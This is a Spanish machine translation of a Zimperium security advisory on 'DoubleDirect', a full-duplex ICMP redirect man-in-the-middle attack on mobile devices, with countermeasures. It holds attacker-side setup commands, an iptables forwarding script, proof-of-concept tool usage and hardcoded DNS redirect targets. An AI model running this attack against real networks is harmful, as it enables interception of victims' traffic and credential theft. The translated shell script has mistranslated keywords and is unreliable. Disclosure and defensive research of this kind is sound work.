DoubleDirect: Zimperium descubre ataques de redireccionamiento ICMP full-duplex en estado salvaje

Por: Esteban Pellegrino, zuk avrahamPatrick Murray y Rachel Ackerley.

Los laboratorios de seguridad móvil de Zimperium han investigado durante el último año un tipo peligroso de técnica de ataque que los atacantes explotan en estado salvaje. Bien llamado «dobledirecto”, este ataque es un tipo de ataque «Man-in-the-Middle» (MITM) que permite a un atacante redirigir el tráfico de una víctima al dispositivo del atacante. Una vez redirigido, el atacante puede robar credenciales y enviar cargas maliciosas al dispositivo móvil de la víctima que no solo pueden infectar rápidamente el dispositivo, sino también propagarse por toda la red corporativa.

El equipo de Zimperium ha descubierto ataques DoubleDirect que ocurren en la naturaleza contra objetivos de alto perfil.

Hemos identificado que el tráfico de los siguientes servicios fue redirigido durante los ataques a los dispositivos de las víctimas:
Google, Facebook, Twitter, Hotmail, Live.com, Naver.com (coreano) y otros. Dado que el ataque está ocurriendo en las IP a las que accede el usuario, no significa necesariamente que el atacante tuviera visibilidad del tráfico cifrado que algunos de los servicios anteriores están aplicando. Identificamos ataques en 31 países, que se describen a continuación:

• Serbia
• Australia
• Irak
• Kazajstán
• Polonia
• Indonesia
• Israel
• Letonia
• Finlandia
• México
• Egipto
• Reino Unido
• Austria
• Colombia
• Grecia
• Brasil
• Canadá
• Francia
• Argelia
• Federación Rusa
• Suiza
• Italia
• Alemania
• España
• Arabia Saudita
• Países Bajos
• India
• Malta
• Baréin
• Estados Unidos
• Porcelana

El crecimiento de los dispositivos móviles ha llevado a un aumento significativo de los ataques de red a las redes inalámbricas. Un ataque de «redireccionamiento ICMP» es un ejemplo de un ataque de red MITM conocido, que a menudo se usa como alternativa a una técnica de ataque de envenenamiento ARP.

Las implementaciones actuales de redirección ICMP con herramientas disponibles públicamente como ettercap incluyen MITM semidúplex, lo que significa que un lado se envenena con una redirección ICMP (víctima) y el enrutador se envenena con una suplantación ARP de la vieja escuela. Con tal implementación, las redes que son inmunes a la suplantación de ARP podrán detener el ataque.

De las páginas de referencia del manual de Ettercap[1]: “Envía un mensaje de redirección icmp falsificado a los hosts en la red pretendiendo ser una ruta mejor para Internet. Todas las conexiones a Internet se redirigirán al atacante que, a su vez, las reenviará a la puerta de enlace real. El ataque resultante es un mitm HALF-DUPLEX. Solo se redirige al cliente, ya que la puerta de enlace no aceptará mensajes de redireccionamiento para una red conectada directamente”.
La primera implementación de redireccionamiento ICMP full-duplex conocida fue desarrollada por IntercepterNG proyecto en 2011.

redirección ICMP

Entonces, ¿cómo funciona DoubleDirect?

DoubleDirect utiliza paquetes de redirección ICMP (tipo 5) para modificar las tablas de enrutamiento de un host. Esto es utilizado legítimamente por los enrutadores para notificar a los hosts en la red que hay una mejor ruta disponible para un destino en particular.[2]. Sin embargo, un atacante también puede usar paquetes de redirección ICMP para alterar las tablas de enrutamiento en el host de la víctima, lo que hace que el tráfico fluya a través de una ruta de red arbitraria para una IP en particular. Como resultado, el atacante puede lanzar un ataque MITM, redirigiendo el tráfico de la víctima a su dispositivo. Una vez redirigido, el atacante puede comprometer el dispositivo móvil al encadenar el ataque con una vulnerabilidad adicional del lado del cliente (por ejemplo, una vulnerabilidad del navegador) y, a su vez, proporcionar al atacante acceso a la red corporativa.

Con la detección de DoubleDirect en la naturaleza, comprendimos que los atacantes están utilizando esta implementación para lograr MITM de dúplex completo mediante ICMP Redirect. Los ataques ICMP Redirect tradicionales tienen limitaciones y se sabe que son MITM semidúplex. Zimperium Mobile Security Labs investigó las amenazas y determinó que los atacantes pueden predecir las direcciones IP a las que accede la víctima. Hemos investigado los ataques y también hemos creado una herramienta POC para demostrar que es posible realizar ataques de redirección ICMP de dúplex completo. Los ataques de redirección ICMP no son fáciles de emular porque el atacante debe saber de antemano a qué dirección IP ha accedido la víctima. (No existe una forma sistemática de reenviar todo el tráfico de la víctima al atacante).

¿Cómo sabían los atacantes a qué direcciones IP ya había accedido la víctima?
Para responder a esa pregunta debemos analizar qué es lo primero que hace el dispositivo de una víctima cuando ingresamos una URL en el navegador. Por ejemplo, cuando escribimos www.zimperium.com en cualquier navegador, la aplicación envía una solicitud de DNS para averiguar la dirección IP del host www.zimperium.com.

Como primer paso, podemos usar paquetes de redirección ICMP para reenviar todo el tráfico DNS desde el dispositivo de la víctima a nuestra máquina. La mayoría de las veces podemos predecir qué servidor DNS está usando la víctima. Si está en la misma LAN, es probable que el servidor DNS sea el mismo que el nuestro obtenido a través de DHCP. Algunos dispositivos móviles utilizan algunos servidores DNS por defecto (8.8.8.8 y/o 8.8.4.4). Una vez que tengamos todo el tráfico de DNS redirigido y reenviado de forma transparente a través de nuestro dispositivo, podemos enviar un paquete de redirección ICMP a cada dirección IP que encontramos en las respuestas de DNS detectadas.

Los atacantes no solo están olfateando todo el tráfico DNS de la víctima, sino todo lo que se resuelve a través de él.

Finalmente, presentamos una herramienta simple y efectiva para realizar auditorías para DoubleDirect. Tú puedes descargar Herramienta POC de DoubleDirect aquí

Para compilar y ejecutar el código de esta publicación, necesitará libcrafter (https://code.google.com/p/libcrafter/) instalado en su sistema. Libcrafter en una biblioteca multiplataforma de código abierto escrita en C++ y lanzada bajo la nueva licencia BSD. Libcrafter proporciona una interfaz de alto nivel para diseñar, decodificar y rastrear paquetes de red, lo que facilita la creación de utilidades de red sin tener que lidiar con detalles de bajo nivel. Para compilarlo en su sistema GNU/linux o MAC OS X, ejecute los siguientes comandos:

$ git clone https://github.com/pellegre/libcrafter
$ cd libcrafter/libcrafter
$ ./autogen.sh
$ make
$ sudo make install
$ sudo ldconfig

Tenga en cuenta que necesita libpcap instalado en su sistema antes de configurar libcrafter (apt-get install libpcap-dev)

DoubleDirect: Ataque de redireccionamiento ICMP de dúplex completo

Guión

Puerta de enlace = 192.168.1.1
Atacante (Ubuntu) = 192.168.1.105
Víctima (Galaxy S4) = 192.168.1.101

máquina de la víctima

Primero debemos verificar si el dispositivo acepta redireccionamientos. En mi caso (galaxy S4), el bit de aceptar redireccionamientos estaba habilitado de forma predeterminada:
# cat /proc/sys/net/ipv4/conf/all/accept_redirects
1

En caso de que ICMP Redirect no esté habilitado y quiera probar este ataque, debe ejecutar:
# echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects

La máquina del atacante

Finalmente, en la máquina del atacante necesitamos decirle al kernel algunas cosas para que el ataque funcione correctamente. Los siguientes comandos deben ejecutarse en la máquina del atacante (como root):

Para reenviar paquetes IP
# echo 1 > /proc/sys/net/ipv4/ip_forward

No envíes redireccionamientos. Esto es muy importante, necesitamos decirle al núcleo del atacante que no envíe redireccionamientos:
# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect

Atacar el dispositivo

Compile el siguiente archivo doubledirect_poc.cpp:
$ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter
$ ./doubledirect_poc
[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****
[#] Usage: ./doubledirect_poc [options]
[#] Options:
-i, --interface Interface
-v, --victim Victim IP address
-d, --destination Destination address to poison

En lugar de envenenar una entrada LAN ARP, envenenamos una dirección IP remota cuando la víctima accede. Al hacerlo, engañamos a la víctima para que envíe paquetes IP destinados a un destino particular a través de nuestro dispositivo en lugar de la puerta de enlace real.

Cuando el dispositivo envía un paquete IP con destino 8.8.8.8, debe usar la puerta de enlace (192.168.1.1).
Ahora vamos a envenenar esa entrada. En la máquina atacante ejecutar:

$ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8
[#] Attack parameters :
[+] Interface : wlan0
[+] Victim IP address : 192.168.1.101
[+] Destination to poison : 8.8.8.8
[#] Gateway parameters :
[+] Gateway IP address : 192.168.1.1
[+] Gateway MAC address : *:*:*:*:AE:51
[#] My parameters :
[+] My IP address : 192.168.1.105

Podemos ver como la entrada para 8.8.8.8 está envenenada con nuestra dirección IP (192.168.1.105). Cuando la víctima envía un paquete con destino a 8.8.8.8, utilizará nuestra computadora como puerta de enlace para ese paquete. Esto nos permitirá olfatear todo el tráfico desde ese destino (un clásico ataque de hombre en el medio).

Una vez que tengamos todo el tráfico de DNS reenviado de forma transparente a través de nuestra computadora, podemos enviar un paquete de redirección ICMP a cada dirección IP que encontramos en las respuestas de DNS detectadas. No solo estamos rastreando todo el tráfico DNS de la víctima, sino todo lo que se resuelve a través de él.

Para probar si es vulnerable a DoubleDirect, primero ejecute las siguientes líneas de código bash para configurar iptables y el reenvío de IP correctamente:

# cat iptables_dobule_direct.sh
#!/bin/sh

si [ $# -lt 1 ]; después
eco «[@] Uso: `nombre base $` ”
eco «[@] Ejemplo: `nombre base $` wlan0”
salida 0
fi
INTERFAZ=$
eco 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects
iptables –vaciar
iptables – cero
iptables –borrar-cadena
iptables -F -t nacional
iptables –añadir ADELANTE –en la interfaz $INTERFAZ –saltar ACEPTAR
iptables –table nat –append POSTROUTING –out-interface $INTERFACE –jump MASQUERADE

# ./iptables_double_direct.sh wlan0

Finalmente, ejecute la herramienta de auditoría DoubleDirect de Zimperium:

# ./doubledirect_poc -i wlan0 -v 192.168.1.101
[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****
[#] Attack parameters :
[+] Interface : wlan0
[+] Victim IP address : 192.168.1.101
[#] Gateway parameters :
[+] Gateway IP address : 192.168.2.1
[+] Gateway MAC address : 00:1f:*:*:*:*
[#] My parameters :
[+] My IP address : 192.168.2.103

Los servidores DNS están codificados dentro del código (línea 397, archivo doubledirect_poc.cpp). Puede agregar cualquier host para los paquetes de redirección ICMP iniciales allí:

// Hardcoded DNS servers we want to redirect to our machine
startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway
startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); // GOOGLE
startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); // GOOGLE
startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); // OpenDNS
startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220"); // OpenDNS

contramedidas

iOS, Android y Mac OS X generalmente aceptan paquetes de redirección ICMP de manera predeterminada.
Para probar si su OS X es vulnerable a DoubleDirect, ejecute el siguiente comando :
sysctl net.inet.icmp.drop_redirect | grep ": 0" && echo "DoubleDirect: VULNERABLE" ||echo "DoubleDirect: SAFE"

Para deshabilitar la redirección ICMP en Mac (como root):
sudo sysctl -w net.inet.icmp.drop_redirect=1
Editar: esta solución no es persistente: debe agregar esta línea a sus scripts de inicio para estar seguro después de reiniciar. (gracias jon schwenn por señalar esto)
Edición 2: Gracias a @chort0 por enviarnos el parámetro correcto para deshabilitar ICMP Redirect en OS X.

En el lado móvil, la mayoría de los dispositivos Android (serie galaxy) con el campo accept_redirect activado de forma predeterminada

Para deshabilitar, debe rootear su dispositivo y ejecutar:
# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects

¿Quién está en riesgo?
iOS: El ataque funciona en las últimas versiones de iOS, incluido iOS 8.1.1
Androide: En la mayoría de los dispositivos Android que hemos probado, incluido Nexus 5 + Lollipop
Mac: Mac OS X Yosemite es vulnerable.
La mayoría de los sistemas operativos de escritorio GNU/Linux y Windows no aceptan paquetes de redirección ICMP.

Los clientes de Zimperium Mobile Threat Defense están protegidos de DoubleDirect sin realizar ninguna actualización.

Seguridad móvil empresarial de Zimperium

El sistema de seguridad móvil de Zimperium utiliza el aprendizaje automático para detectar ataques de host y de red completamente en modo de usuario. Esto sistema de seguridad móvil empresarial es capaz de detectar ataques a la red sin olfatear el tráfico de la red. Mediante el análisis de patrones en el sistema operativo, la aplicación Zimperium Mobile IPS (zIPS) puede detectar y mitigar ataques de redirección ICMP como DoubleDirect, sin actualizaciones adicionales. Descubra cómo puede proteger su organización contra amenazas avanzadas como DoubleDirect y otros ataques avanzados en dispositivos móviles: aquí

Declaración de divulgación:

Los ataques ICMP Redirect Half-Duplex se conocen/revelan desde hace muchos años. Zimperium está publicando esta información en este momento para aumentar la conciencia, ya que algunos proveedores de sistemas operativos aún tienen que implementar la protección en este punto para los ataques de redirección ICMP, ya que hay ataques en estado salvaje. Esta nueva técnica de ataque es un derivado full-duplex de un conocido ataque ICMP Redirect. Para obtener una descripción completa de nuestra Política de divulgación, visite: https://www.zimperium.com/files/zero-day-disclosure-policy.pdf. Recomendamos como práctica recomendada que todos los proveedores de sistemas operativos desactiven la función de redirección ICMP.

Enlaces:
CREMALLERAS – Zimperium Mobile IPS: protección contra ataques móviles avanzados de host y red, incluido DoubleDirect.
zANTI2 – Diagnósticos móviles para realizar la auditoría de DoubleDirect

Deja un comentario